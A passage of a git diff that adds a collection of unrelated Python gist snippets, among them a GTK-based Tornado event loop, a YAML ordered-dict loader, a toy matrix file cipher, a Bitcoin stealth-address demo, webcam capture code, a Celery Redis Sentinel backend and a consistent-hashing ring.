+        self.ModMgr.refresh()
+        cmds.layoutDialog(ui = self._layout, t='Module editor')
+
+
+m = ModuleManagerDialog()        
+m.show()
\ No newline at end of file
diff --git a/hard-gists/8420193/._snippet.py b/hard-gists/8420193/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8420193/._snippet.py differ
diff --git a/hard-gists/8420193/snippet.py b/hard-gists/8420193/snippet.py
new file mode 100644
index 00000000..683c9205
--- /dev/null
+++ b/hard-gists/8420193/snippet.py
@@ -0,0 +1,78 @@
+
+import datetime
+import functools
+import logging
+import os
+import time
+
+import gobject
+import gtk
+
+from tornado import ioloop
+from tornado.log import gen_log
+
+
+class GtkIOLoop(ioloop.IOLoop):
+    READ = gobject.IO_IN
+    WRITE = gobject.IO_OUT
+    ERROR = gobject.IO_ERR | gobject.IO_HUP
+
+    def initialize(self, time_func=None):
+        super(GtkIOLoop, self).initialize()
+        self.time_func = time_func or time.time
+        self._handles = {}
+
+    def close(self, all_fds=False):
+        if all_fds:
+            for fd in self._handles.keys():
+                try:
+                    os.close(fd)
+                except Exception:
+                    gen_log.debug("error closing fd %s", fd, exc_info=True)
+
+    def _handle_events(self, fd, events, callback):
+        callback(fd, events)
+        return True
+
+    def add_handler(self, fd, callback, events):
+        handle = gobject.io_add_watch(
+            fd, events | self.ERROR, self._handle_events, callback)
+        self._handles[fd] = handle, callback
+
+    def update_handler(self, fd, events):
+        handle, callback = self._handles.pop(fd)
+        gobject.source_remove(handle)
+        self.add_handler(fd, callback, events)
+
+    def remove_handler(self, fd):
+        handle, _ = self._handles.pop(fd)
+        gobject.source_remove(handle)
+
+    def start(self):
+        if not logging.getLogger().handlers:  # pragma: no cover
+            logging.basicConfig()
+        gtk.main()
+
+    def stop(self):
+        gtk.main_quit()
+
+    def time(self):
+        return self.time_func()
+
+    def add_timeout(self, deadline, callback):
+        if isinstance(deadline, datetime.timedelta):  # pragma: no cover
+            seconds = ioloop._Timeout.timedelta_to_seconds(deadline)
+        else:
+            seconds = deadline - self.time()
+        ms = max(0, int(seconds * 1000))
+        handle = gobject.timeout_add(ms, self._run_callback, callback)
+        return handle
+
+    def remove_timeout(self, handle):
+        gobject.source_remove(handle)
+
+    def add_callback(self, callback, *args, **kwargs):
+        callback = functools.partial(callback, *args, **kwargs)
+        gobject.timeout_add(0, self._run_callback, callback)
+
+    add_callback_from_signal = add_callback
diff --git a/hard-gists/8427853/._snippet.py b/hard-gists/8427853/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8427853/._snippet.py differ
diff --git a/hard-gists/8427853/snippet.py b/hard-gists/8427853/snippet.py
new file mode 100644
index 00000000..0c64156c
--- /dev/null
+++ b/hard-gists/8427853/snippet.py
@@ -0,0 +1,100 @@
+# -*- coding: utf-8 -*-
+
+import scene
+
+keyboard_layouts = (
+'''
+q w e r t y u i o p del
+a s d f g h j k l return
+z x c v b n m , . shift
+.?123 space .?123
+''', '''
+Q W E R T Y U I O P del
+A S D F G H J K L return
+Z X C V B N M , . shift
+.?123 space .?123
+''', '''
+1 2 3 4 5 6 7 8 9 0 del
+- / : ; ( ) $ & @ return
+#+= undo . , ? ! ' " #+=
+ABC space ABC
+''', '''
+[ ] { } # % ^ * + = del
+_ \ | ~ < > € £ ¥ return
+123 redo . , ? ! ' " 123
+ABC space ABC
+''')
+
+def make_keyboards(keyboard_layouts = keyboard_layouts):
+    keyboards = []
+    for keyboard_layout in keyboard_layouts:
+        keyboard = []
+        for line in keyboard_layout.splitlines():
+            if line:
+                keyrow = []
+                for key in line.split():
+                    keyrow.append(key)
+                keyboard.append(tuple(keyrow))
+        keyboard.reverse()
+        keyboards.append(tuple(keyboard))
+    return keyboards
+
+for keyboard in make_keyboards():
+    for keyrow in keyboard:
+        for key in keyrow:
+            print(key),
+        print('')
+    print('')
+
+class TextButton(scene.Button):  # scene.Button is an undocumented class
+    def __init__(self, inSuperLayer, inRect, inText):
+        super(self.__class__, self).__init__(inRect, inText)
+        inSuperLayer.add_layer(self)
+        self.parent = inSuperLayer  # needed to make button_pressed() work
+        self.text   = ' ' if inText == 'space' else inText
+        self.action = self.button_pressed
+
+    def button_pressed(self):
+        self.parent.button_pressed(self.text)
+
+class KeyboardHack(scene.Scene):
+    def __init__(self):
+        self.text = ''
+        scene.run(self)
+
+    def setup(self):
+        self.center = self.bounds.center()
+        pad = 4  # pixels between buttons
+        loc = scene.Point(pad, pad)
+        keyboard = make_keyboards()[0]
+        for keyrow in keyboard:
+            button_height = loc.x = pad
+            for key in keyrow:
+                width = 740 if key == 'space' else 89
+                key_button = TextButton(self, scene.Rect(loc[0], loc[1], width, 40), key)
+                loc.x += key_button.frame.w + pad
+                button_height = max(button_height, key_button.frame.h)
+            loc.y += button_height + pad
+        self.center.y += loc.y / 2  # move center up to compensate for keyboard
+
+    def button_pressed(self, button_text):
+        print('button_pressed({})'.format(button_text))
+        if len(button_text) == 1:
+            self.text += button_text
+        elif self.text: 
+            if button_text == 'del':
+                self.text = self.text[:-1]
+                #print(self.text)
+            elif button_text == 'return':
+                self.user_entered_text()
+
+    def user_entered_text(self):
+        print('User entered: ' + self.text)
+
+    def draw(self):
+        scene.background(0.7, 0.7, 0.7)  # grey
+        self.root_layer.update(self.dt)
+        self.root_layer.draw()
+        scene.text(self.text, font_size=40, x=self.center.x, y=self.center.y)
+
+KeyboardHack()
\ No newline at end of file
diff --git a/hard-gists/8428798/._snippet.py b/hard-gists/8428798/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8428798/._snippet.py differ
diff --git a/hard-gists/8428798/snippet.py b/hard-gists/8428798/snippet.py
new file mode 100644
index 00000000..5e02c754
--- /dev/null
+++ b/hard-gists/8428798/snippet.py
@@ -0,0 +1,16 @@
+from rest_framework.views import exception_handler
+
+
+def custom_exception_handler(exc):
+    """
+    Custom exception handler for Django Rest Framework that adds
+    the `status_code` to the response and renames the `detail` key to `error`.
+    """
+    response = exception_handler(exc)
+
+    if response is not None:
+        response.data['status_code'] = response.status_code
+        response.data['error'] = response.data['detail']
+        del response.data['detail']
+
+    return response
diff --git a/hard-gists/844388/._snippet.py b/hard-gists/844388/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/844388/._snippet.py differ
diff --git a/hard-gists/844388/snippet.py b/hard-gists/844388/snippet.py
new file mode 100644
index 00000000..2df5265c
--- /dev/null
+++ b/hard-gists/844388/snippet.py
@@ -0,0 +1,65 @@
+import yaml
+import yaml.constructor
+
+try:
+    # included in standard lib from Python 2.7
+    from collections import OrderedDict
+except ImportError:
+    # try importing the backported drop-in replacement
+    # it's available on PyPI
+    from ordereddict import OrderedDict
+
+class OrderedDictYAMLLoader(yaml.Loader):
+    """
+    A YAML loader that loads mappings into ordered dictionaries.
+    """
+
+    def __init__(self, *args, **kwargs):
+        yaml.Loader.__init__(self, *args, **kwargs)
+
+        self.add_constructor(u'tag:yaml.org,2002:map', type(self).construct_yaml_map)
+        self.add_constructor(u'tag:yaml.org,2002:omap', type(self).construct_yaml_map)
+
+    def construct_yaml_map(self, node):
+        data = OrderedDict()
+        yield data
+        value = self.construct_mapping(node)
+        data.update(value)
+
+    def construct_mapping(self, node, deep=False):
+        if isinstance(node, yaml.MappingNode):
+            self.flatten_mapping(node)
+        else:
+            raise yaml.constructor.ConstructorError(None, None,
+                'expected a mapping node, but found %s' % node.id, node.start_mark)
+
+        mapping = OrderedDict()
+        for key_node, value_node in node.value:
+            key = self.construct_object(key_node, deep=deep)
+            try:
+                hash(key)
+            except TypeError, exc:
+                raise yaml.constructor.ConstructorError('while constructing a mapping',
+                    node.start_mark, 'found unacceptable key (%s)' % exc, key_node.start_mark)
+            value = self.construct_object(value_node, deep=deep)
+            mapping[key] = value
+        return mapping
+
+if __name__ == '__main__':
+    import textwrap
+
+    sample = """
+    one:
+        two: fish
+        red: fish
+        blue: fish
+    two:
+        a: yes
+        b: no
+        c: null
+    """
+
+    data = yaml.load(textwrap.dedent(sample), OrderedDictYAMLLoader)
+
+    assert type(data) is OrderedDict
+    print data
diff --git a/hard-gists/8444323/._snippet.py b/hard-gists/8444323/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8444323/._snippet.py differ
diff --git a/hard-gists/8444323/snippet.py b/hard-gists/8444323/snippet.py
new file mode 100644
index 00000000..51fdbb16
--- /dev/null
+++ b/hard-gists/8444323/snippet.py
@@ -0,0 +1,49 @@
+#!/usr/bin/python
+import random
+from struct import pack
+from struct import unpack
+from scipy import linalg
+
+
+def Str2matrix(s):
+	#convert string to 4x4 matrix
+	return [map(lambda x : ord(x), list(s[i:i+4])) for i in xrange(0, len(s), 4)]
+
+def Matrix2str(m):
+	#convert matrix to string
+	return ''.join(map(lambda x : ''.join(map(lambda y : pack('!H', y), x)), m))
+
+def mMatrix2str(m):
+	return ''.join(map(lambda x : ''.join(map(lambda y : pack('!B', y), x)), m))
+
+def Generate(password):
+	#generate key matrix
+	random.seed(password)
+	return [[random.randint(0,64) for i in xrange(4)] for j in xrange(4)]
+
+def Multiply(A,B):
+	#multiply two 4x4 matrix
+	C = [[0 for i in xrange(4)] for j in xrange(4)]
+	for i in xrange(4):
+		for j in xrange(4):
+			for k in xrange(4):
+				C[i][j] += (A[i][k] * B[k][j])
+	return C
+
+def Encrypt(fname):
+	#encrypt file
+	key = Generate('')
+	data = open(fname, 'rb').read()
+	length = pack('!I', len(data))
+	while len(data) % 16 != 0:
+		data += '\x00'
+	out = open(fname + '.out', 'wb')
+	out.write(length)
+	for i in xrange(0, len(data), 16):
+		print Str2matrix(data[i:i+16])
+		cipher = Multiply(Str2matrix(data[i:i+16]), key)
+		out.write(Matrix2str(cipher))
+	out.close()
+
+Encrypt('sample.wmv')
+
diff --git a/hard-gists/8447221/._snippet.py b/hard-gists/8447221/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8447221/._snippet.py differ
diff --git a/hard-gists/8447221/snippet.py b/hard-gists/8447221/snippet.py
new file mode 100644
index 00000000..47924a6f
--- /dev/null
+++ b/hard-gists/8447221/snippet.py
@@ -0,0 +1,39 @@
+#!/usr/bin/env python
+
+import os
+import sqlite3
+
+from csvkit import table, CSVKitWriter
+from csvkit.cli import CSVKitUtility
+from csvkit.sql import make_create_table_statement, make_table
+
+
+class CSVQuery(CSVKitUtility):
+    description = "Issue SQL queries against CSV data"
+
+    def add_arguments(self):
+        self.argparser.add_argument('query', type=unicode)
+
+    def main(self):
+        tabname = os.path.splitext(os.path.basename(self.args.file._lazy_args[0]))[0]
+        tab = table.Table.from_csv(self.args.file, name=tabname, **self.reader_kwargs)
+        stmt = make_create_table_statement(make_table(tab), dialect='sqlite')
+        conn = sqlite3.connect(':memory:')
+        c = conn.cursor()
+        c.execute(stmt)
+        for row in tab.to_rows():
+            vals = ','.join(['?'] * len(row))
+            prepared = "INSERT INTO %s VALUES(%s)" % (tab.name, vals)
+            c.execute(prepared, row)
+        output = CSVKitWriter(self.output_file, **self.writer_kwargs)
+        for row in c.execute(self.args.query):
+            output.writerow(row)
+
+
+def launch_new_instance():
+    utility = CSVQuery()
+    utility.main()
+
+
+if __name__ == '__main__':
+    launch_new_instance()
diff --git a/hard-gists/844aab52fcff6b1c652a/._snippet.py b/hard-gists/844aab52fcff6b1c652a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/844aab52fcff6b1c652a/._snippet.py differ
diff --git a/hard-gists/844aab52fcff6b1c652a/snippet.py b/hard-gists/844aab52fcff6b1c652a/snippet.py
new file mode 100644
index 00000000..ef573d15
--- /dev/null
+++ b/hard-gists/844aab52fcff6b1c652a/snippet.py
@@ -0,0 +1,52 @@
+import numpy as np
+import sys, os
+
+# Edit the paths as needed:
+caffe_root = '../caffe/'
+sys.path.insert(0, caffe_root + 'python')
+
+import caffe
+
+# Path to your combined net prototxt files:
+combined_model_root_path = './models/combined_net/'
+l_model_root_path = './models/left/2015-07-20/'
+r_model_root_path= './models/right/2015-07-20/'
+
+# The pre-trained Caffemodel files:
+lnet_file = '_iter_50000.caffemodel'
+rnet_file = '_iter_60000.caffemodel'
+# Their respective prototxt files:
+lnet_proto = 'net.prototxt'
+rnet_proto = 'net.prototxt'
+
+# Chdir if your prototxt files specify your training and testing files
+# in relative paths:
+os.chdir(l_model_root_path)
+lnet = caffe.Net(lnet_proto, lnet_file, caffe.TRAIN)
+
+os.chdir(r_model_root_path)
+rnet = caffe.Net(rnet_proto, rnet_file, caffe.TRAIN)
+
+os.chdir(combined_model_root_path)
+comb_net = caffe.Net('net.prototxt', caffe.TRAIN)
+
+# The layers you want to combine into the new caffe net:
+layer_names = ['ff1', 'ff2']
+
+# The two nets we have already loaded:
+nets = {
+    'l': lnet,
+    'r': rnet,
+}
+
+# For each of the pretrained net sides, copy the params to
+# the corresponding layer of the combined net:
+for side, net in nets.items():
+    for layer in layer_names:
+        W = net.params[layer][0].data[...] # Grab the pretrained weights
+        b = net.params[layer][1].data[...] # Grab the pretrained bias
+        comb_net.params['{}_{}'.format(side, layer)][0].data[...] = W # Insert into new combined net
+        comb_net.params['{}_{}'.format(side, layer)][1].data[...] = b 
+
+# Save the combined model with pretrained weights to a caffemodel file:
+comb_net.save('pretrained.caffemodel')
\ No newline at end of file
diff --git a/hard-gists/8450931/._snippet.py b/hard-gists/8450931/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8450931/._snippet.py differ
diff --git a/hard-gists/8450931/snippet.py b/hard-gists/8450931/snippet.py
new file mode 100644
index 00000000..7deed3c2
--- /dev/null
+++ b/hard-gists/8450931/snippet.py
@@ -0,0 +1,27 @@
+import cv2
+
+# Windows dependencies
+# - Python 2.7.6: http://www.python.org/download/
+# - OpenCV: http://opencv.org/
+# - Numpy -- get numpy from here because the official builds don't support x64:
+#   http://www.lfd.uci.edu/~gohlke/pythonlibs/#numpy
+
+# Mac Dependencies
+# - brew install python
+# - pip install numpy
+# - brew tap homebrew/science
+# - brew install opencv
+
+cap = cv2.VideoCapture(0)
+
+while(True):
+    ret, frame = cap.read()
+    rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2BGRA)
+
+    cv2.imshow('frame', rgb)
+    if cv2.waitKey(1) & 0xFF == ord('q'):
+        out = cv2.imwrite('capture.jpg', frame)
+        break
+
+cap.release()
+cv2.destroyAllWindows()
diff --git a/hard-gists/8458501/._snippet.py b/hard-gists/8458501/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8458501/._snippet.py differ
diff --git a/hard-gists/8458501/snippet.py b/hard-gists/8458501/snippet.py
new file mode 100644
index 00000000..95f720ad
--- /dev/null
+++ b/hard-gists/8458501/snippet.py
@@ -0,0 +1,155 @@
+# Example of stealth addressess using Diffie-Hellman, to create a unique offset between 2 mpks
+# doesn't need to exchange data in the blockchain. Payee can just look for new transactions against their
+# mpk at offset S, where S is the shared secret between the two parties.
+
+import obelisk
+import os
+from ecdsa import numbertheory, curves, util, ellipticcurve
+
+# From https://github.com/FelixWeis/python-hdwallet/blob/master/hdwallet/hdwallet.py
+def point_decompress(data):
+    prefix = data[0]
+    curve = curves.SECP256k1.curve
+
+    if prefix == '\x04':
+        return data
+
+    assert(prefix in ['\x02', '\x03', '\x04'])
+    parity = 1 if prefix == '\x02' else -1
+
+    x = util.string_to_number(data[1:])
+
+    y = numbertheory.square_root_mod_prime( 
+        ( x * x * x + curve.a() * x + curve.b() ) % curve.p(),  curve.p()
+        )
+
+    y = parity * y % curve.p()
+    return ellipticcurve.Point(curve, x, y)
+
+
+def diffie_hellman(e, Q):
+    point = point_decompress(Q)
+
+    e_int = obelisk.string_to_number(e)
+    point = e_int * point
+    # convert x point to bytes
+    result = "\x03" + ("%x" % point.x()).decode("hex")
+    assert len(result) == 33
+    return result
+
+
+def test_stealth(bob_seed, alice_seed):
+
+	# Sequence could be anything, ideally it's common and well known, like the root.
+	# User could use their branches to create alternate identities, 
+	# but they'd then have to remember the sequence along with the seed
+
+    bob_wallet = obelisk.HighDefWallet.root(bob_seed)
+    alice_wallet = obelisk.HighDefWallet.root(alice_seed)
+
+    bob_secret = bob_wallet.secret
+    alice_secret = alice_wallet.secret
+
+    bob_mpk = bob_wallet.mpk_compressed
+    alice_mpk = alice_wallet.mpk_compressed
+
+    bob_mpk_uncompressed = bob_wallet.mpk
+    alice_mpk_uncompressed = alice_wallet.mpk
+
+    bob_chain = bob_wallet.chain
+    alice_chain = alice_wallet.chain
+
+    print "Bob secret", bob_secret.encode("hex")
+    print "Alice secret", alice_secret.encode("hex")
+    print "\n"
+
+    print "Bob mpk (compressed)", bob_mpk.encode("hex")
+    print "Alice mpk (compressed)", alice_mpk.encode("hex")
+    print "\n"
+
+    print "Bob chain", bob_chain.encode("hex")
+    print "Alice chain", alice_chain.encode("hex")
+    print "\n"
+
+    # Trade mpks now over the internet/telegram whatever. 
+
+    # Calculate shared secret S. 
+    # Bob S = bob_secret * alice_mpk
+    # Alice S = alice_secret * bob_mpk
+
+    bob_shared_secret = diffie_hellman(bob_secret, alice_mpk)
+    alice_shared_secret = diffie_hellman(alice_secret, bob_mpk)
+
+    assert(bob_shared_secret == alice_shared_secret)
+
+    print "Bob Shared secret", bob_shared_secret.encode("hex")
+    print "Alice Shared secret", alice_shared_secret.encode("hex")
+    print "\n"
+
+    # Since the secret is unique to both we can use it as the initial offset and then use a value n 
+    # for every subsequent payment to each person to maintain anonymity, or breaking another chain from the hd wallet
+
+
+    # secret_int is the first 20 bytes of the shared_secret converted to an integer
+    secret_int = long(bob_shared_secret[0:20].encode("hex"), base=16)
+
+    # Shared branches, create a new branch every 2 bytes.
+    # up to 20 bytes of entropy, dont want to create too many unncesessary branches.
+    sequence = []
+
+    for i in range(10):
+    	next_sequence = long(bob_shared_secret[i*2: (i*2)+2].encode("hex"), base=16)
+    	sequence.append(next_sequence)
+
+
+    print "shared secret sequence", sequence
+
+
+    bob_wallet_branched = bob_wallet
+    alice_wallet_branced = alice_wallet
+
+    for s in sequence:
+    	bob_wallet_branched = bob_wallet_branched.branch(s)
+    	alice_wallet_branced = alice_wallet_branced.branch(s)
+
+
+    bob_sequence_to_alice = obelisk.BIP32Sequence((alice_mpk_uncompressed.encode("hex"), alice_chain.encode("hex")))
+    alice_sequence_to_bob = obelisk.BIP32Sequence((bob_mpk_uncompressed.encode("hex"), bob_chain.encode("hex")))
+
+    print "\nAlice sends to Bob (Only Bob knows the private keys)"
+
+    for i in range(10):
+    	print "Alice sends to  \t", alice_sequence_to_bob.get_address(sequence + [i])
+    	print "Bob receives to \t", bob_wallet_branched.branch(i).address
+
+    	assert(alice_sequence_to_bob.get_address(sequence + [i]) == bob_wallet_branched.branch(i).address)
+
+
+    print "\nBob sends to Alice (Only Alice knows the private keys)"
+
+    for i in range(10):
+    	print "Bob sends to      \t", bob_sequence_to_alice.get_address(sequence + [i])
+    	print "Alice receives to \t", alice_wallet_branced.branch(i).address
+
+    	assert(bob_sequence_to_alice.get_address(sequence + [i]) == alice_wallet_branced.branch(i).address)
+
+
+def exhaustive_test(iterations=50):
+    for i in range(iterations):
+
+        print "\n\nIteration", i
+
+        bob_seed = os.urandom(20).encode("hex")
+        alice_seed = os.urandom(20).encode("hex")
+
+        test_stealth(bob_seed, alice_seed)
+
+if __name__ == "__main__":
+    bob_seed = "000102030405060708090a0b0c0d0e0f"
+    alice_seed = "fffcf9f6f3f0edeae7e4e1dedbd8d5d2cfccc9c6c3c0bdbab7b4b1aeaba8a5a29f9c999693908d8a8784817e7b7875726f6c696663605d5a5754514e4b484542"
+
+    # test_stealth(bob_seed, alice_seed)
+
+    exhaustive_test()
+
+
diff --git a/hard-gists/8460004/._snippet.py b/hard-gists/8460004/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8460004/._snippet.py differ
diff --git a/hard-gists/8460004/snippet.py b/hard-gists/8460004/snippet.py
new file mode 100644
index 00000000..96248b91
--- /dev/null
+++ b/hard-gists/8460004/snippet.py
@@ -0,0 +1,80 @@
+"""
+This module adds Redis Sentinel transport support to Celery.
+Current version of celery doesn't support Redis sentinel client, which is must have for automatic failover.
+
+To use it::
+
+    import register_celery_alias
+    register_celery_alias("redis-sentinel")
+
+    celery = Celery(..., broker="redis-sentinel://...", backend="redis-sentinel://...")
+"""
+from celery.backends import BACKEND_ALIASES
+from kombu.transport import TRANSPORT_ALIASES
+from celery.backends.redis import RedisBackend
+from kombu.utils import cached_property
+from kombu.transport.redis import Transport, Channel
+from redis import Redis
+from redis.sentinel import Sentinel
+
+
+class RedisSentinelBackend(RedisBackend):
+
+    def __init__(self, sentinels=None, sentinel_timeout=None, socket_timeout=None,
+                 min_other_sentinels=0, service_name=None, **kwargs):
+        super(RedisSentinelBackend, self).__init__(**kwargs)
+        conf = self.app.conf
+
+        def _get(key):
+            try:
+                return conf['CELERY_REDIS_SENTINEL_%s' % key]
+            except KeyError:
+                pass
+
+        self.sentinels = sentinels or _get("SENTINELS")
+        self.sentinel_timeout = sentinel_timeout or _get("SENTINEL_TIMEOUT")
+        self.socket_timeout = socket_timeout or _get("SOCKET_TIMEOUT")
+        self.min_other_sentinels = min_other_sentinels or _get("MIN_OTHER_SENTINELS")
+        self.service_name = service_name or _get("SERVICE_NAME")
+
+    @cached_property
+    def client(self):
+        sentinel = Sentinel(self.sentinels, min_other_sentinels=self.min_other_sentinels,
+                            password=self.password, sentinel_kwargs={"socket_timeout": self.sentinel_timeout})
+        return sentinel.master_for(self.service_name, redis_class=Redis, socket_timeout=self.socket_timeout)
+
+
+class SentinelChannel(Channel):
+
+    from_transport_options = Channel.from_transport_options + (
+        "service_name",
+        "sentinels",
+        "password",
+        "min_other_sentinels",
+        "sentinel_timeout",
+    )
+
+    #noinspection PyUnresolvedReferences
+    @cached_property
+    def _sentinel_managed_pool(self):
+
+        sentinel = Sentinel(
+            self.sentinels,
+            min_other_sentinels=getattr(self, "min_other_sentinels", 0),
+            password=getattr(self, "password", None),
+            sentinel_kwargs={"socket_timeout": getattr(self, "sentinel_timeout", None)},
+        )
+        return sentinel.master_for(self.service_name, self.Client,
+                                   socket_timeout=self.socket_timeout).connection_pool
+
+    def _get_pool(self):
+        return self._sentinel_managed_pool
+
+
+class RedisSentinelTransport(Transport):
+    Channel = SentinelChannel
+
+
+def register_celery_alias(alias="redis-sentinel"):
+    BACKEND_ALIASES[alias] = "utils.celery_sentinel.RedisSentinelBackend"
+    TRANSPORT_ALIASES[alias] = "utils.celery_sentinel.RedisSentinelTransport"
diff --git a/hard-gists/8464000/._snippet.py b/hard-gists/8464000/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8464000/._snippet.py differ
diff --git a/hard-gists/8464000/snippet.py b/hard-gists/8464000/snippet.py
new file mode 100644
index 00000000..0da9d636
--- /dev/null
+++ b/hard-gists/8464000/snippet.py
@@ -0,0 +1,56 @@
+#!/usr/bin/env python
+
+from PySide.QtCore import *
+from PySide.QtGui import *
+import cv2
+import sys
+
+class MainApp(QWidget):
+
+    def __init__(self):
+        QWidget.__init__(self)
+        self.video_size = QSize(320, 240)
+        self.setup_ui()
+        self.setup_camera()
+
+    def setup_ui(self):
+        """Initialize widgets.
+        """
+        self.image_label = QLabel()
+        self.image_label.setFixedSize(self.video_size)
+
+        self.quit_button = QPushButton("Quit")
+        self.quit_button.clicked.connect(self.close)
+
+        self.main_layout = QVBoxLayout()
+        self.main_layout.addWidget(self.image_label)
+        self.main_layout.addWidget(self.quit_button)
+
+        self.setLayout(self.main_layout)
+
+    def setup_camera(self):
+        """Initialize camera.
+        """
+        self.capture = cv2.VideoCapture(0)
+        self.capture.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, self.video_size.width())
+        self.capture.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, self.video_size.height())
+
+        self.timer = QTimer()
+        self.timer.timeout.connect(self.display_video_stream)
+        self.timer.start(30)
+
+    def display_video_stream(self):
+        """Read frame from camera and repaint QLabel widget.
+        """
+        _, frame = self.capture.read()
+        frame = cv2.cvtColor(frame, cv2.cv.CV_BGR2RGB)
+        frame = cv2.flip(frame, 1)
+        image = QImage(frame, frame.shape[1], frame.shape[0], 
+                       frame.strides[0], QImage.Format_RGB888)
+        self.image_label.setPixmap(QPixmap.fromImage(image))
+
+if __name__ == "__main__":
+    app = QApplication(sys.argv)
+    win = MainApp()
+    win.show()
+    sys.exit(app.exec_())
diff --git a/hard-gists/846545/._snippet.py b/hard-gists/846545/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/846545/._snippet.py differ
diff --git a/hard-gists/846545/snippet.py b/hard-gists/846545/snippet.py
new file mode 100644
index 00000000..374c564d
--- /dev/null
+++ b/hard-gists/846545/snippet.py
@@ -0,0 +1,62 @@
+from twisted.web.iweb import IBodyProducer
+from twisted.internet import defer
+from twisted.web.client import Agent
+from twisted.web.http_headers import Headers
+import urllib
+
+class StringProducer(object):
+    implements(IBodyProducer)
+
+    def __init__(self, body):
+        self.body = body
+        self.length = len(body)
+
+    def startProducing(self, consumer):
+        consumer.write(self.body)
+        return succeed(None)
+
+    def pauseProducing(self):
+        pass
+
+    def stopProducing(self):
+        pass
+
+def httpRequest(url, values={}, headers={}, method='POST'):
+    # Construct an Agent.
+    agent = Agent(reactor)
+    data = urllib.urlencode(values)
+
+    d = agent.request(method,
+                      url,
+                      Headers(headers),
+                      StringProducer(data) if data else None)
+
+    def handle_response(response):
+        if response.code == 204:
+            d = defer.succeed('')
+        else:
+            class SimpleReceiver(protocol.Protocol):
+                def __init__(s, d):
+                    s.buf = ''; s.d = d
+                def dataReceived(s, data):
+                    s.buf += data
+                def connectionLost(s, reason):
+                    # TODO: test if reason is twisted.web.client.ResponseDone, if not, do an errback
+                    s.d.callback(s.buf)
+
+            d = defer.Deferred()
+            response.deliverBody(SimpleReceiver(d))
+        return d
+
+    d.addCallback(handle_response)
+    return d
+
+# Sample usage:
+
+d = httpRequest(
+    "http://...",                            
+    {   
+        'query_arg': 'value',          
+    },
+    headers={'Content-Type': ['application/x-www-form-urlencoded']}                      
+)
diff --git a/hard-gists/8470123/._snippet.py b/hard-gists/8470123/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8470123/._snippet.py differ
diff --git a/hard-gists/8470123/snippet.py b/hard-gists/8470123/snippet.py
new file mode 100644
index 00000000..43b7d604
--- /dev/null
+++ b/hard-gists/8470123/snippet.py
@@ -0,0 +1,204 @@
+# -*- coding: utf-8 -*-
+"""
+    hash_ring
+    ~~~~~~~~~~~~~~
+    Implements consistent hashing that can be used when
+    the number of server nodes can increase or decrease (like in memcached).
+
+    Consistent hashing is a scheme that provides a hash table functionality
+    in a way that the adding or removing of one slot
+    does not significantly change the mapping of keys to slots.
+
+    More information about consistent hashing can be read in these articles:
+
+        "Web Caching with Consistent Hashing":
+            http://www8.org/w8-papers/2a-webserver/caching/paper2.html
+
+        "Consistent hashing and random trees:
+        Distributed caching protocols for relieving hot spots on the World Wide Web (1997)":
+            http://citeseerx.ist.psu.edu/legacymapper?did=38148
+
+
+    Example of usage::
+
+        memcache_servers = ['192.168.0.246:11212',
+                            '192.168.0.247:11212',
+                            '192.168.0.249:11212']
+
+        ring = HashRing(memcache_servers)
+        server = ring.get_node('my_key')
+
+    :copyright: 2008 by Amir Salihefendic.
+    :license: BSD
+"""
+
+import math
+import sys
+from bisect import bisect
+
+if sys.version_info >= (2, 5):
+    import hashlib
+    md5_constructor = hashlib.md5
+else:
+    import md5
+    md5_constructor = md5.new
+
+class HashRing(object):
+
+    def __init__(self, nodes=None, weights=None):
+        """`nodes` is a list of objects that have a proper __str__ representation.
+        `weights` is dictionary that sets weights to the nodes.  The default
+        weight is that all nodes are equal.
+        """
+        self.ring = dict()
+        self._sorted_keys = []
+
+        self.nodes = nodes
+
+        if not weights:
+            weights = {}
+        self.weights = weights
+
+        self._generate_circle()
+
+    def _generate_circle(self):
+        """Generates the circle.
+        """
+        total_weight = 0
+        for node in self.nodes:
+            total_weight += self.weights.get(node, 1)
+
+        for node in self.nodes:
+            weight = 1
+
+            if node in self.weights:
+                weight = self.weights.get(node)
+
+            factor = math.floor((40*len(self.nodes)*weight) / total_weight);
+
+            for j in xrange(0, int(factor)):
+                b_key = self._hash_digest( '%s-%s' % (node, j) )
+
+                for i in xrange(0, 3):
+                    key = self._hash_val(b_key, lambda x: x+i*4)
+                    self.ring[key] = node
+                    self._sorted_keys.append(key)
+
+        self._sorted_keys.sort()
+
+    def get_node(self, string_key):
+        """Given a string key a corresponding node in the hash ring is returned.
+
+        If the hash ring is empty, `None` is returned.
+        """
+        pos = self.get_node_pos(string_key)
+        if pos is None:
+            return None
+        return self.ring[ self._sorted_keys[pos] ]
+
+    def get_node_pos(self, string_key):
+        """Given a string key a corresponding node in the hash ring is returned
+        along with it's position in the ring.
+
+        If the hash ring is empty, (`None`, `None`) is returned.
+        """
+        if not self.ring:
+            return None
+
+        key = self.gen_key(string_key)
+
+        nodes = self._sorted_keys
+        pos = bisect(nodes, key)
+
+        if pos == len(nodes):
+            return 0
+        else:
+            return pos
+
+    def iterate_nodes(self, string_key, distinct=True):
+        """Given a string key it returns the nodes as a generator that can hold the key.
+
+        The generator iterates one time through the ring
+        starting at the correct position.
+
+        if `distinct` is set, then the nodes returned will be unique,
+        i.e. no virtual copies will be returned.
+        """
+        if not self.ring:
+            yield None, None
+
+        returned_values = set()
+        def distinct_filter(value):
+            if str(value) not in returned_values:
+                returned_values.add(str(value))
+                return value
